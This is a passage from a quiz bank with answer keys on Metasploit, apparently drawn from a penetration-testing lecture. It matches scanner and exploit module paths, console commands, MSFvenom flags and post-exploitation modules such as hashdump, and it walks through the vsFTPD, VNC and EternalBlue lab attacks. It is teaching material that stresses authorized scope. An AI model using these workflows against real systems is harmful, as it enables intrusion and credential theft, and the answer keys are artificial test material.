Which auxiliary scanner path best matches this role: HTTP server version scan?

- A. auxiliary/scanner/mssql/mssql_ping
- B. auxiliary/scanner/http/http_version
- C. scanner/smb/smb_version
- D. scanner/ssh/ssh_version

Answer: B. auxiliary/scanner/http/http_version

Why: The lecture lists auxiliary/scanner/http/http_version for the http server version scan.

Source page reference: p. 27

Q179 | Reverse auxiliary scanner

What is the purpose of auxiliary/scanner/http/http_version?

- A. HTTP server version scan
- B. SSH server version scan
- C. SMB version scanner
- D. SQL Server scan

Answer: A. HTTP server version scan

Why: The lecture lists this module as a http server version scan.

Source page reference: p. 27

Q180 | Select all that apply

Which auxiliary scanner paths match common scanning tasks?? Select all that apply.

- A. scanner/smb/smb_version
- B. auxiliary/scanner/mssql/mssql_ping
- C. scanner/ssh/ssh_version
- D. auxiliary/scanner/ftp/anonymous
- E. auxiliary/scanner/ftp/ftp_version
- F. auxiliary/scanner/vnc/vnc_login
- G. auxiliary/scanner/http/http_version
- H. exploit/windows/smb/ms17_010_eternalblue

Answer: A, B, C, D, E, F, G

Why: The first seven are scanner paths; EternalBlue is an exploit path.

Source page reference: p. 27

Q181 | Exploit path recognition

Which exploit path best matches this description: Windows SMB EternalBlue remote kernel-corruption exploit?

- A. exploit/windows/browser/ms11_003_ie_css_import
- B. exploit/windows/fileformat/ms15_100_mc1_exe
- C. exploit/windows/smb/ms17_010_eternalblue
- D. exploit/unix/ftp/vsftpd_234_backdoor

Answer: C. exploit/windows/smb/ms17_010_eternalblue

Why: The lecture lists exploit/windows/smb/ms17_010_eternalblue for this exploit example.

Source page reference: p. 28

Q182 | Reverse exploit path

What is the best description of exploit/windows/smb/ms17_010_eternalblue?

- A. Windows SMB EternalBlue remote kernel-corruption exploit
- B. Windows file-format exploit example
- C. Unix FTP vsFTPD 2.3.4 backdoor exploit
- D. Windows browser Cascading Style Sheets exploit example

Answer: A. Windows SMB EternalBlue remote kernel-corruption exploit

Why: The lecture lists this path for the stated exploit.

Source page reference: p. 28

Q183 | Exploit path recognition

Which exploit path best matches this description: Windows browser Cascading Style Sheets exploit?

- A. exploit/unix/ftp/vsftpd_234_backdoor
- B. exploit/windows/browser/ms11_003_ie_css_import
- C. exploit/windows/smb/ms17_010_eternalblue
- D. exploit/windows/fileformat/ms15_100_mc1_exe

Answer: B. exploit/windows/browser/ms11_003_ie_css_import

Why: The lecture lists exploit/windows/browser/ms11_003_ie_css_import for this exploit example.

Source page reference: p. 28

Q184 | Reverse exploit path

What is the best description of exploit/windows/browser/ms11_003_ie_css_import?

- A. Unix FTP vsFTPd 2.3.4 backdoor exploit
- B. Windows SMB EternalBlue remote kernel-corruption exploit
- C. Windows browser Cascading Style Sheets exploit example
- D. Windows file-format exploit example

Answer: C. Windows browser Cascading Style Sheets exploit example

Why: The lecture lists this path for the stated exploit.

Source page reference: p. 28

Q185 | Exploit path recognition

Which exploit path best matches this description: Windows file-format exploit?

- A. exploit/windows/smb/ms17_010_eternalblue
- B. exploit/windows/fileformat/ms15_100_mc1_exe
- C. exploit/unix/ftp/vsftpd_234_backdoor
- D. exploit/windows/browser/ms11_003_ie_css_import

Answer: B. exploit/windows/fileformat/ms15_100_mc1_exe

Why: The lecture lists exploit/windows/fileformat/ms15_100_mc1_exe for this exploit example.

Source page reference: p. 28

Q186 | Reverse exploit path

What is the best description of exploit/windows/fileformat/ms15_100_mc1_exe?

- A. Windows SMB EternalBlue remote kernel-corruption exploit
- B. Windows browser Cascading Style Sheets exploit example
- C. Unix FTP vsFTPd 2.3.4 backdoor exploit
- D. Windows file-format exploit example

Answer: D. Windows file-format exploit example

Why: The lecture lists this path for the stated exploit.

Source page reference: p. 28

Q187 | Exploit path recognition

Which exploit path best matches this description: Unix FTP vsFTPD 2.3.4 backdoor exploit?

- A. exploit/windows/browser/ms11_003_ie_css_import
- B. exploit/windows/smb/ms17_010_eternalblue
- C. exploit/windows/fileformat/ms15_100_mc1_exe
- D. exploit/unix/ftp/vsftpd_234_backdoor

Answer: D. exploit/unix/ftp/vsftpd_234_backdoor

Why: The lecture lists exploit/unix/ftp/vsftpd_234_backdoor for this exploit example.

Source page reference: p. 28

Q188 | Reverse exploit path

What is the best description of exploit/unix/ftp/vsftpd_234_backdoor?

- A. Unix FTP vsFTPD 2.3.4 backdoor exploit
- B. Windows browser Cascading Style Sheets exploit example
- C. Windows SMB EternalBlue remote kernel-corruption exploit
- D. Windows file-format exploit example

Answer: A. Unix FTP vsFTPD 2.3.4 backdoor exploit

Why: The lecture lists this path for the stated exploit.

Source page reference: p. 28

Q189 | Exploit path recognition

Which exploit path best matches this description: Multi-platform HTTP PHP CGI argument-injection exploit?

- A. exploit/windows/fileformat/ms15_100_mc1_exe
- B. exploit/windows/smb/ms17_010_eternalblue
- C. exploit/multi/http/php_cgi_arg_injection
- D. exploit/windows/browser/ms11_003_ie_css_import

Answer: C. exploit/multi/http/php_cgi_arg_injection

Why: The lecture lists exploit/multi/http/php_cgi_arg_injection for this exploit example.

Source page reference: p. 28

Q190 | Reverse exploit path

What is the best description of exploit/multi/http/php_cgi_arg_injection?

- A. Windows file-format exploit example
- B. Multi-platform HTTP PHP CGI argument-injection exploit example
- C. Windows browser Cascading Style Sheets exploit example
- D. Windows SMB EternalBlue remote kernel-corruption exploit

Answer: B. Multi-platform HTTP PHP CGI argument-injection exploit example

Why: The lecture lists this path for the stated exploit.

Source page reference: p. 28

Q191 | Exploit path recognition

Which exploit path best matches this description: Linux local kernel-flaw exploit?

- A. exploit/windows/smb/ms17_010_eternalblue
- B. exploit/windows/browser/ms11_003_ie_css_import
- C. exploit/windows/fileformat/ms15_100_mc1_exe
- D. exploit/linux/local/sock_sendpage

Answer: D. exploit/linux/local/sock_sendpage

Why: The lecture lists exploit/linux/local/sock_sendpage for this exploit example.

Source page reference: p. 28

Q192 | Reverse exploit path

What is the best description of exploit/linux/local/sock_sendpage?

- A. Linux local kernel-flaw exploit example
- B. Windows browser Cascading Style Sheets exploit example
- C. Windows file-format exploit example
- D. Windows SMB EternalBlue remote kernel-corruption exploit

Answer: A. Linux local kernel-flaw exploit example

Why: The lecture lists this path for the stated exploit.

Source page reference: p. 28

Q193 | Concept

When can a Metasploit exploit be expected to work?

- A. Whenever the tester starts msfconsole
- B. When the target has the specific vulnerability addressed by that exploit
- C. Whenever the target responds to ping
- D. Whenever the target has any open port

Answer: B. When the target has the specific vulnerability addressed by that exploit

Why: The lecture states that exploits can only work if the target has that specific vulnerability.

Source page reference: p. 28

Q194 | Assertion-reason

Assertion: Selecting the correct exploit path is not enough by itself to guarantee success.

Reason: An exploit can work only if the target has the specific vulnerability it addresses.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: Correct module selection must still match the actual vulnerability on the target.

Source page reference: p. 28

Q195 | EXCEPT / NOT

All of the following are target-side variables or settings EXCEPT:

- A. LHOST as the target host address
- B. RPORT as a target port
- C. RHOSTS as target hosts for a scanner
- D. RHOST as a target host address

Answer: A. LHOST as the target host address

Why: LHOST is the local or attacker-side host address, not the target host address.

Source page reference: p. 26

Q196 | Console workflow variant

Inside Metasploit, what should you type to start the Metasploit console.

- A. help
- B. exit
- C. search appletv
- D. msfconsole

Answer: D. msfconsole

Why: msfconsole is the matching console command.

Source page reference: pp. 22-30

Q197 | Console workflow variant

Inside Metasploit, what should you type to display Metasploit commands and their descriptions.

- A. exit
- B. help
- C. msfconsole
- D. search appletv

Answer: B. help

Why: help is the matching console command.

Source page reference: pp. 22-30

Q198 | Console workflow variant

Inside Metasploit, what should you type to leave Metasploit.

- A. search appletv
- B. msfconsole
- C. help
- D. exit

Answer: D. exit

Why: exit is the matching console command.

Source page reference: pp. 22-30

Q199 | Console workflow variant

Inside Metasploit, what should you type to use the built-in search function to find modules related to appletv.

- A. msfconsole
- B. search appletv
- C. help
- D. exit

Answer: B. search appletv

Why: search appletv is the matching console command.

Source page reference: pp. 22-30

Q200 | Console workflow variant

Inside Metasploit, what should you type to select a module by its displayed index.

- A. help
- B. use 0
- C. msfconsole
- D. exit

Answer: B. use 0

Why: use 0 is the matching console command.

Source page reference: pp. 22-30

Q201 | Console workflow variant

Inside Metasploit, what should you type to select a module by its path.

- A. help
- B. exit
- C. msfconsole
- D. use <MODULE PATH>

Answer: D. use <MODULE PATH>

Why: use <MODULE PATH> is the matching console command.

Source page reference: pp. 22-30

Q202 | Console workflow variant

Inside Metasploit, what should you type to display more information about the currently selected module.

- A. exit
- B. help
- C. msfconsole
- D. info

Answer: D. info

Why: info is the matching console command.

Source page reference: pp. 22-30

Q203 | Console workflow variant

Inside Metasploit, what should you type to display configurable and required options for the selected module.

- A. exit
- B. help
- C. msfconsole
- D. show options

Answer: D. show options

Why: show options is the matching console command.

Source page reference: pp. 22-30

Q204 | Console workflow variant

Inside Metasploit, what should you type to execute the selected auxiliary module or configured action.

- A. msfconsole
- B. run
- C. exit
- D. help

Answer: B. run

Why: run is the matching console command.

Source page reference: pp. 22-30

Q205 | Metasploit variable variant

Which variable should be used for the following value: Target host IP address?

- A. RPORT
- B. LHOST
- C. LPORT
- D. RHOST

Answer: D. RHOST

Why: RHOST represents target host ip address.

Source page reference: pp. 26, 29, 33

Q206 | Metasploit variable variant

Which variable should be used for the following value: Target port?

- A. LHOST
- B. RPORT
- C. RHOST
- D. LPORT

Answer: B. RPORT

Why: RPORT represents target port.

Source page reference: pp. 26, 29, 33

Q207 | Metasploit variable variant

Which variable should be used for the following value: Attacker or local listener IP address?

- A. RHOST
- B. RPORT
- C. LPORT
- D. LHOST

Answer: D. LHOST

Why: LHOST represents attacker or local listener ip address.

Source page reference: pp. 26, 29, 33

Q208 | Metasploit variable variant

Which variable should be used for the following value: Attacker or local listener port?

- A. RPORT
- B. LHOST
- C. LPORT
- D. RHOST

Answer: C. LPORT

Why: LPORT represents attacker or local listener port.

Source page reference: pp. 26, 29, 33

Q209 | Metasploit variable variant

Which variable should be used for the following value: One or more target hosts for modules that support host lists?

- A. RHOST
- B. RHOSTS
- C. LHOST
- D. RPORT

Answer: B. RHOSTS

Why: RHOSTS represents one or more target hosts for modules that support host lists.

Source page reference: pp. 26, 29, 33

Q210 | Scanner path variant

Which auxiliary scanner is appropriate for this task: SMB version scanner.

- A. scanner/ssh/ssh_version
- B. auxiliary/scanner/ftp/anonymous
- C. auxiliary/scanner/mssql/mssql_ping
- D. scanner/smb/smb_version

Answer: D. scanner/smb/smb_version

Why: The lecture maps smb version scanner to scanner/smb/smb_version.

Source page reference: p. 27

Q211 | Scanner path variant

Which auxiliary scanner is appropriate for this task: SQL Server scan.

- A. auxiliary/scanner/mssql/mssql_ping
- B. scanner/ssh/ssh_version
- C. scanner/smb/smb_version
- D. auxiliary/scanner/ftp/anonymous

Answer: A. auxiliary/scanner/mssql/mssql_ping

Why: The lecture maps sql server scan to auxiliary/scanner/mssql/mssql_ping.

Source page reference: p. 27

Q212 | Scanner path variant

Which auxiliary scanner is appropriate for this task: SSH server version scan.

- A. scanner/smb/smb_version
- B. auxiliary/scanner/mssql/mssql_ping
- C. auxiliary/scanner/ftp/anonymous
- D. scanner/ssh/ssh_version

Answer: D. scanner/ssh/ssh_version

Why: The lecture maps ssh server version scan to scanner/ssh/ssh_version.

Source page reference: p. 27

Q213 | Scanner path variant

Which auxiliary scanner is appropriate for this task: Anonymous FTP server scan.

- A. auxiliary/scanner/mssql/mssql_ping
- B. scanner/ssh/ssh_version
- C. auxiliary/scanner/ftp/anonymous
- D. scanner/smb/smb_version

Answer: C. auxiliary/scanner/ftp/anonymous

Why: The lecture maps anonymous ftp server scan to auxiliary/scanner/ftp/anonymous.

Source page reference: p. 27

Q214 | Scanner path variant

Which auxiliary scanner is appropriate for this task: FTP server version scan.

- A. scanner/smb/smb_version
- B. auxiliary/scanner/ftp/ftp_version
- C. auxiliary/scanner/mssql/mssql_ping
- D. scanner/ssh/ssh_version

Answer: B. auxiliary/scanner/ftp/ftp_version

Why: The lecture maps ftp server version scan to auxiliary/scanner/ftp/ftp_version.

Source page reference: p. 27

Q215 | Scanner path variant

Which auxiliary scanner is appropriate for this task: VNC protocol login scan.

- A. scanner/smb/smb_version
- B. scanner/ssh/ssh_version
- C. auxiliary/scanner/mssql/mssql_ping
- D. auxiliary/scanner/vnc/vnc_login

Answer: D. auxiliary/scanner/vnc/vnc_login

Why: The lecture maps vnc protocol login scan to auxiliary/scanner/vnc/vnc_login.

Source page reference: p. 27

Q216 | Scanner path variant

Which auxiliary scanner is appropriate for this task: HTTP server version scan.

- A. auxiliary/scanner/mssql/mssql_ping
- B. scanner/ssh/ssh_version
- C. scanner/smb/smb_version
- D. auxiliary/scanner/http/http_version

Answer: D. auxiliary/scanner/http/http_version

Why: The lecture maps http server version scan to auxiliary/scanner/http/http_version.

Source page reference: p. 27

Q217 | Exploit path variant

Which exploit path matches this scenario: Windows SMB EternalBlue remote kernel-corruption exploit.

- A. exploit/windows/browser/ms11_003_ie_css_import
- B. exploit/unix/ftp/vsftpd_234_backdoor
- C. exploit/windows/fileformat/ms15_100_mc1_exe
- D. exploit/windows/smb/ms17_010_eternalblue

Answer: D. exploit/windows/smb/ms17_010_eternalblue

Why: The lecture maps the exploit example to exploit/windows/smb/ms17_010_eternalblue.

Source page reference: p. 28

Q218 | Exploit path variant

Which exploit path matches this scenario: Windows browser Cascading Style Sheets exploit.

- A. exploit/windows/browser/ms11_003_ie_css_import
- B. exploit/windows/smb/ms17_010_eternalblue
- C. exploit/unix/ftp/vsftpd_234_backdoor
- D. exploit/windows/fileformat/ms15_100_mc1_exe

Answer: A. exploit/windows/browser/ms11_003_ie_css_import

Why: The lecture maps the exploit example to exploit/windows/browser/ms11_003_ie_css_import.

Source page reference: p. 28

Q219 | Exploit path variant

Which exploit path matches this scenario: Windows file-format exploit.

- A. exploit/windows/fileformat/ms15_100_mc1_exe
- B. exploit/windows/browser/ms11_003_ie_css_import
- C. exploit/windows/smb/ms17_010_eternalblue
- D. exploit/unix/ftp/vsftpd_234_backdoor

Answer: A. exploit/windows/fileformat/ms15_100_mc1_exe

Why: The lecture maps the exploit example to exploit/windows/fileformat/ms15_100_mc1_exe.

Source page reference: p. 28

Q220 | Exploit path variant

Which exploit path matches this scenario: Unix FTP vsFTPD 2.3.4 backdoor exploit.

- A. exploit/windows/smb/ms17_010_eternalblue
- B. exploit/windows/browser/ms11_003_ie_css_import
- C. exploit/windows/fileformat/ms15_100_mc1_exe
- D. exploit/unix/ftp/vsftpd_234_backdoor

Answer: D. exploit/unix/ftp/vsftpd_234_backdoor

Why: The lecture maps the exploit example to exploit/unix/ftp/vsftpd_234_backdoor.

Source page reference: p. 28

Q221 | Exploit path variant

Which exploit path matches this scenario: Multi-platform HTTP PHP CGI argument-injection exploit.

- A. exploit/windows/browser/ms11_003_ie_css_import
- B. exploit/windows/fileformat/ms15_100_mc1_exe
- C. exploit/windows/smb/ms17_010_eternalblue
- D. exploit/multi/http/php_cgi_arg_injection

Answer: D. exploit/multi/http/php_cgi_arg_injection

Why: The lecture maps the exploit example to exploit/multi/http/php_cgi_arg_injection.

Source page reference: p. 28

Q222 | Exploit path variant

Which exploit path matches this scenario: Linux local kernel-flaw exploit.

- A. exploit/windows/smb/ms17_010_eternalblue
- B. exploit/linux/local/sock_sendpage
- C. exploit/windows/browser/ms11_003_ie_css_import
- D. exploit/windows/fileformat/ms15_100_mc1_exe

Answer: B. exploit/linux/local/sock_sendpage

Why: The lecture maps the exploit example to exploit/linux/local/sock_sendpage.

Source page reference: p. 28

6. Lab case studies and post-exploitation concepts

34 questions. Answers appear immediately below each item.

Q223 | Scenario

Which auxiliary module performs a VNC login scan?

- A. auxiliary/scanner/vnc/vnc_login
- B. exploit/windows/smb/ms17_010_eternalblue
- C. post/windows/gather/checkvm
- D. auxiliary/scanner/ftp/ftp_version

Answer: A. auxiliary/scanner/vnc/vnc_login

Why: The VNC example searches for the protocol and uses auxiliary/scanner/vnc/vnc_login.

Source page reference: p. 29

Q224 | Ordering

After selecting auxiliary/scanner/vnc/vnc_login, what should the tester inspect before running it?

- A. The DNS archive history only
- B. A screenshot of the desktop only
- C. The msfvenom payload list only
- D. The module options, including the target RHOSTS value

Answer: D. The module options, including the target RHOSTS value

Why: The example uses show options to set the target RHOSTS address.

Source page reference: p. 29

Q225 | Scenario

After an authorized VNC login scan reveals usable credentials in the lab, which tool is launched to access the target desktop?

- A. dig
- B. vncviewer
- C. lsof
- D. msfvenom

Answer: B. vncviewer

Why: The lecture example launches vncviewer with the target IP and the scanner-provided password.

Source page reference: p. 30

Q226 | Scenario

Which service version is associated with the vsFTPD backdoor vulnerability?

- A. OpenSSH 9.0
- B. SMBv3 only
- C. Apache 2.4 only
- D. vsFTPD 2.3.4

Answer: D. vsFTPD 2.3.4

Why: The lecture scans for the FTP version and demonstrates the vsFTPD 2.3.4 backdoor.

Source page reference: p. 31

Q227 | Command mapping

Which scanner module is used to identify the FTP service version before the vsFTPD backdoor demonstration?

- A. scanner/smb/smb_version
- B. post/linux/gather/hashdump
- C. auxiliary/scanner/vnc/vnc_login
- D. auxiliary/scanner/ftp/ftp_version

Answer: D. auxiliary/scanner/ftp/ftp_version

Why: The lecture first scans with ftp_version to identify the vsFTPD version.

Source page reference: p. 31

Q228 | Exploit mapping

Which exploit path is used for the vsFTPD 2.3.4 backdoor demonstration?

- A. exploit/linux/local/sock_sendpage
- B. auxiliary/scanner/ftp/anonymous
- C. exploit/windows/smb/ms17_010_eternalblue
- D. exploit/unix/ftp/vsftpd_234_backdoor

Answer: D. exploit/unix/ftp/vsftpd_234_backdoor

Why: The lecture lists and demonstrates exploit/unix/ftp/vsftpd_234_backdoor.

Source page reference: pp. 28, 31

Q229 | Interpretation

Why can exploitation of the vsFTPD 2.3.4 backdoor produce a shell session on port 6200 after interaction with FTP port 21?

- A. Port 6200 is a DNS port.
- B. The lsof utility rewrites the firewall rules.
- C. The vulnerable backdoor spawns a separate shell service on port 6200.
- D. FTP automatically changes its standard port to 6200 for every connection.

Answer: C. The vulnerable backdoor spawns a separate shell service on port 6200.

Why: The backdoor demonstration shows a spawned shell service handled on port 6200.

Source page reference: p. 31

Q230 | Scenario

Which exploit is demonstrated against the Windows target in Metasploitable 3?

- A. VNC viewer password reuse
- B. vsFTPD 2.3.4 backdoor
- C. DNS trace poisoning
- D. EternalBlue SMB remote Windows kernel corruption

Answer: D. EternalBlue SMB remote Windows kernel corruption

Why: The Metasploitable 3 example uses the EternalBlue SMB exploit.

Source page reference: p. 33

Q231 | Variable mapping

Which Metasploit values identify the target host and the callback host during an EternalBlue workflow?

- A. FILE and TIME
- B. RPORT and DNS
- C. RHOSTS and LHOST
- D. ENCODER and FORMAT

Answer: C. RHOSTS and LHOST

Why: The slide instructs the tester to set RHOSTS and LHOST.

Source page reference: p. 33

Q232 | Outcome recognition

Which session type is obtained after a successful EternalBlue exploitation workflow?

- A. An archive.org capture
- B. A Meterpreter session
- C. A Netcraft report
- D. A DNS trace session

Answer: B. A Meterpreter session

Why: The lecture screenshot states that the tester is now in a Meterpreter session.

Source page reference: p. 33

Q233 | Post-module recognition

Which post-exploitation command best matches this purpose: Get logged-on users from a Windows target.

- A. run post/windows/gather/checkvm
- B. run post/linux/gather/enum_protections
- C. run post/windows/gather/enum_applications
- D. run post/windows/gather/enum_logged_on_users

Answer: D. run post/windows/gather/enum_logged_on_users

Why: The lecture lists run post/windows/gather/enum_logged_on_users for this post-exploitation task.

Source page reference: p. 34

Q234 | Reverse post-module recognition

What is the purpose of run post/windows/gather/enum_logged_on_users?

- A. Get logged-on users from a Windows target.
- B. Enumerate applications on a Windows target.
- C. Check whether a Windows target is a virtual machine.
- D. Check protections such as IDS or sniffers on a Linux target.

Answer: A. Get logged-on users from a Windows target.

Why: The lecture lists this command for the stated post-exploitation task.

Source page reference: p. 34

Q235 | Post-module recognition

Which post-exploitation command best matches this purpose: Check whether a Windows target is a virtual machine.

- A. run post/windows/gather/enum_applications
- B. run post/windows/gather/checkvm
- C. run post/windows/gather/enum_logged_on_users
- D. run post/linux/gather/enum_protections

Answer: B. run post/windows/gather/checkvm

Why: The lecture lists run post/windows/gather/checkvm for this post-exploitation task.

Source page reference: p. 34

Q236 | Reverse post-module recognition

What is the purpose of run post/windows/gather/checkvm?

- A. Check protections such as IDS or sniffers on a Linux target.
- B. Get logged-on users from a Windows target.
- C. Check whether a Windows target is a virtual machine.
- D. Enumerate applications on a Windows target.

Answer: C. Check whether a Windows target is a virtual machine.

Why: The lecture lists this command for the stated post-exploitation task.

Source page reference: p. 34

Q237 | Post-module recognition

Which post-exploitation command best matches this purpose: Enumerate applications on a Windows target.

- A. run post/linux/gather/enum_protections
- B. run post/windows/gather/enum_applications
- C. run post/windows/gather/enum_logged_on_users
- D. run post/windows/gather/checkvm

Answer: B. run post/windows/gather/enum_applications

Why: The lecture lists run post/windows/gather/enum_applications for this post-exploitation task.

Source page reference: p. 34

Q238 | Reverse post-module recognition

What is the purpose of run post/windows/gather/enum_applications?

- A. Check whether a Windows target is a virtual machine.
- B. Check protections such as IDS or sniffers on a Linux target.
- C. Enumerate applications on a Windows target.
- D. Get logged-on users from a Windows target.

Answer: C. Enumerate applications on a Windows target.

Why: The lecture lists this command for the stated post-exploitation task.

Source page reference: p. 34

Q239 | Post-module recognition

Which post-exploitation command best matches this purpose: Check protections such as IDS or sniffers on a Linux target.

- A. run post/linux/gather/enum_protections
- B. run post/windows/gather/enum_logged_on_users
- C. run post/windows/gather/enum_applications
- D. run post/windows/gather/checkvm

Answer: A. run post/linux/gather/enum_protections

Why: The lecture lists run post/linux/gather/enum_protections for this post-exploitation task.

Source page reference: p. 34

Q240 | Reverse post-module recognition

What is the purpose of run post/linux/gather/enum_protections?

- A. Check protections such as IDS or sniffers on a Linux target.
- B. Get logged-on users from a Windows target.
- C. Enumerate applications on a Windows target.
- D. Check whether a Windows target is a virtual machine.

Answer: A. Check protections such as IDS or sniffers on a Linux target.

Why: The lecture lists this command for the stated post-exploitation task.

Source page reference: p. 34

Q241 | Post-module recognition

Which post-exploitation command best matches this purpose: Dump password hashes from a Linux target.

- A. run post/windows/gather/enum_applications
- B. run post/windows/gather/checkvm
- C. run post/windows/gather/enum_logged_on_users
- D. run post/linux/gather/hashdump

Answer: D. run post/linux/gather/hashdump

Why: The lecture lists run post/linux/gather/hashdump for this post-exploitation task.

Source page reference: p. 34

Q242 | Reverse post-module recognition

What is the purpose of run post/linux/gather/hashdump?

- A. Dump password hashes from a Linux target.
- B. Get logged-on users from a Windows target.
- C. Check whether a Windows target is a virtual machine.
- D. Enumerate applications on a Windows target.

Answer: A. Dump password hashes from a Linux target.

Why: The lecture lists this command for the stated post-exploitation task.

Source page reference: p. 34

Q243 | Post-module recognition

Which post-exploitation command best matches this purpose: Gather information about Linux network settings.

- A. run post/linux/gather/enum_network
- B. run post/windows/gather/checkvm
- C. run post/windows/gather/enum_applications
- D. run post/windows/gather/enum_logged_on_users

Answer: A. run post/linux/gather/enum_network

Why: The lecture lists run post/linux/gather/enum_network for this post-exploitation task.

Source page reference: p. 34

Q244 | Reverse post-module recognition

What is the purpose of run post/linux/gather/enum_network?

- A. Get logged-on users from a Windows target.
- B. Gather information about Linux network settings.
- C. Check whether a Windows target is a virtual machine.
- D. Enumerate applications on a Windows target.

Answer: B. Gather information about Linux network settings.

Why: The lecture lists this command for the stated post-exploitation task.

Source page reference: p. 34

Q245 | Select all that apply

Which activities may be performed during an authorized post-exploitation assessment? Select all that apply.

- A. Obtain IP and MAC addresses associated with the target
- B. Discover network connections
- C. View running processes
- D. Navigate inside the target
- E. Download or upload a file
- F. Take a screenshot
- G. Turn on camera or microphone
- H. Record key loggers
- I. Assume these actions are acceptable on systems outside the authorized scope

Answer: A, B, C, D, E, F, G, H

Why: The lecture lists these post-exploitation capabilities, which belong only in authorized lab or scoped testing contexts.

Source page reference: pp. 35-36

Q246 | Ethics scenario

A tester has a Meterpreter session during an authorized assessment. What should determine whether a screenshot, file download, or camera action is performed?

- A. Whether the target has an Internet connection
- B. The agreed scope, authorization, and necessity of the action
- C. Whether the tester finds the action interesting
- D. The fact that the command is technically available

Answer: B. The agreed scope, authorization, and necessity of the action

Why: Technical capability does not replace scope and authorization.

Source page reference: pp. 10, 35-36

Q247 | EXCEPT / NOT

All of the following are post-exploitation capabilities EXCEPT:

- A. Navigating inside the target
- B. Changing the course timetable
- C. Uploading or downloading a file
- D. Viewing running processes

Answer: B. Changing the course timetable

Why: The lecture lists technical post-exploitation actions, not course administration.

Source page reference: pp. 35-36

Q248 | VNC lab variant

Which sequence best matches the authorized VNC lab demonstration?

- A. Run a Windows post module before selecting a target.
- B. Generate a DNS trace, skip the scan, and use archive.org.
- C. Search for the VNC protocol, use auxiliary/scanner/vnc/vnc_login, inspect options, set RHOSTS, run the scan, then use vncviewer with the discovered password.
- D. Use msfvenom -l payloads and assume a login.

Answer: C. Search for the VNC protocol, use auxiliary/scanner/vnc/vnc_login, inspect options, set RHOSTS, run the scan, then use vncviewer with the discovered password.

Why: This is the sequence shown across the VNC demonstration slides.

Source page reference: pp. 29-30

Q249 | FTP lab variant

Which sequence best matches the authorized vsFTPD backdoor demonstration?

- A. Start a DNS trace and treat every result as a backdoor.
- B. Run enum_logged_on_users on a Linux target before exploitation.
- C. Use ftp_version to identify vsFTPD 2.3.4, select the matching backdoor exploit, configure the target, and observe the spawned shell session.
- D. Use vncviewer without scanning.

Answer: C. Use ftp_version to identify vsFTPD 2.3.4, select the matching backdoor exploit, configure the target, and observe the spawned shell session.

Why: The lecture demonstrates version scanning followed by the matching exploit.

Source page reference: p. 31

Q250 | EternalBlue lab variant

Which exploit path is associated with the Windows SMB EternalBlue vulnerability?

- A. post/linux/gather/hashdump
- B. exploit/unix/ftp/vsftpd_234_backdoor
- C. exploit/windows/smb/ms17_010_eternalblue
- D. auxiliary/scanner/vnc/vnc_login

Answer: C. exploit/windows/smb/ms17_010_eternalblue

Why: The Windows lab example uses the EternalBlue exploit path.

Source page reference: p. 33

Q251 | Post-module variant

After authorized access, which post command matches this task: Get logged-on users from a Windows target.

- A. run post/windows/gather/enum_logged_on_users
- B. run post/windows/gather/enum_applications
- C. run post/linux/gather/enum_protections
- D. run post/windows/gather/checkvm

Answer: A. run post/windows/gather/enum_logged_on_users

Why: The lecture lists run post/windows/gather/enum_logged_on_users for the task.

Source page reference: p. 34

Q252 | Post-module variant

After authorized access, which post command matches this task: Check whether a Windows target is a virtual machine.

- A. run post/windows/gather/enum_applications
- B. run post/windows/gather/checkvm
- C. run post/windows/gather/enum_logged_on_users
- D. run post/linux/gather/enum_protections

Answer: B. run post/windows/gather/checkvm

Why: The lecture lists run post/windows/gather/checkvm for the task.

Source page reference: p. 34

Q253 | Post-module variant

After authorized access, which post command matches this task: Enumerate applications on a Windows target.

- A. run post/windows/gather/checkvm
- B. run post/linux/gather/enum_protections
- C. run post/windows/gather/enum_logged_on_users
- D. run post/windows/gather/enum_applications

Answer: D. run post/windows/gather/enum_applications

Why: The lecture lists run post/windows/gather/enum_applications for the task.

Source page reference: p. 34

Q254 | Post-module variant

After authorized access, which post command matches this task: Check protections such as IDS or sniffers on a Linux target.

- A. run post/windows/gather/enum_logged_on_users
- B. run post/windows/gather/enum_applications
- C. run post/windows/gather/checkvm
- D. run post/linux/gather/enum_protections

Answer: D. run post/linux/gather/enum_protections

Why: The lecture lists run post/linux/gather/enum_protections for the task.

Source page reference: p. 34

Q255 | Post-module variant

After authorized access, which post command matches this task: Dump password hashes from a Linux target.

- A. run post/windows/gather/checkvm
- B. run post/windows/gather/enum_logged_on_users
- C. run post/windows/gather/enum_applications
- D. run post/linux/gather/hashdump

Answer: D. run post/linux/gather/hashdump

Why: The lecture lists run post/linux/gather/hashdump for the task.

Source page reference: p. 34

Q256 | Post-module variant

After authorized access, which post command matches this task: Gather information about Linux network settings.

- A. run post/linux/gather/enum_network
- B. run post/windows/gather/enum_logged_on_users
- C. run post/windows/gather/checkvm
- D. run post/windows/gather/enum_applications

Answer: A. run post/linux/gather/enum_network

Why: The lecture lists run post/linux/gather/enum_network for the task.

Source page reference: p. 34

7. MSFvenom fundamentals, flags, and command interpretation

33 questions. Answers appear immediately below each item.

Q257 | Definition recognition

Which statement best describes MSFvenom?

- A. A socket-inspection command
- B. A VNC desktop viewer
- C. A framework instance combining msfpayload and msfencode to generate and encode Metasploit payloads
- D. A DNS trace utility

Answer: C. A framework instance combining msfpayload and msfencode to generate and encode Metasploit payloads
Why: The lecture describes MSFvenom as combining msfpayload and msfencode for payload generation and encoding.

Source page reference: p. 37

Q258 | Single answer

Which command lists payloads available to MSFvenom?

- A. msfconsole -l scanners
- B. dig +trace <host>
- C. nc -lvnp <port>
- D. msfvenom -l payloads

Answer: D. msfvenom -l payloads
Why: The lecture gives msfvenom -l payloads for listing payloads.

Source page reference: p. 37

Q259 | Flag recognition

Which MSFvenom flag or setting best matches this purpose: Specify the Metasploit payload to deliver.

- A. -e
- B. -a
- C. -f
- D. -p

Answer: D. -p
Why: The lecture uses -p for this purpose.

Source page reference: pp. 37-38

Q260 | Reverse flag recognition

What is the purpose of -p in MSFvenom?

- A. Specify the output format, such as exe or elf.
- B. Specify the target architecture; x86 as the default.
- C. Specify the encoder to use.
- D. Specify the Metasploit payload to deliver.

Answer: D. Specify the Metasploit payload to deliver.
Why: The lecture associates -p with this purpose.

Source page reference: pp. 37-38

Q261 | Flag recognition

Which MSFvenom flag or setting best matches this purpose: Specify the output format, such as exe or elf.

- A. -p
- B. -f
- C. -e
- D. -a

Answer: B. -f

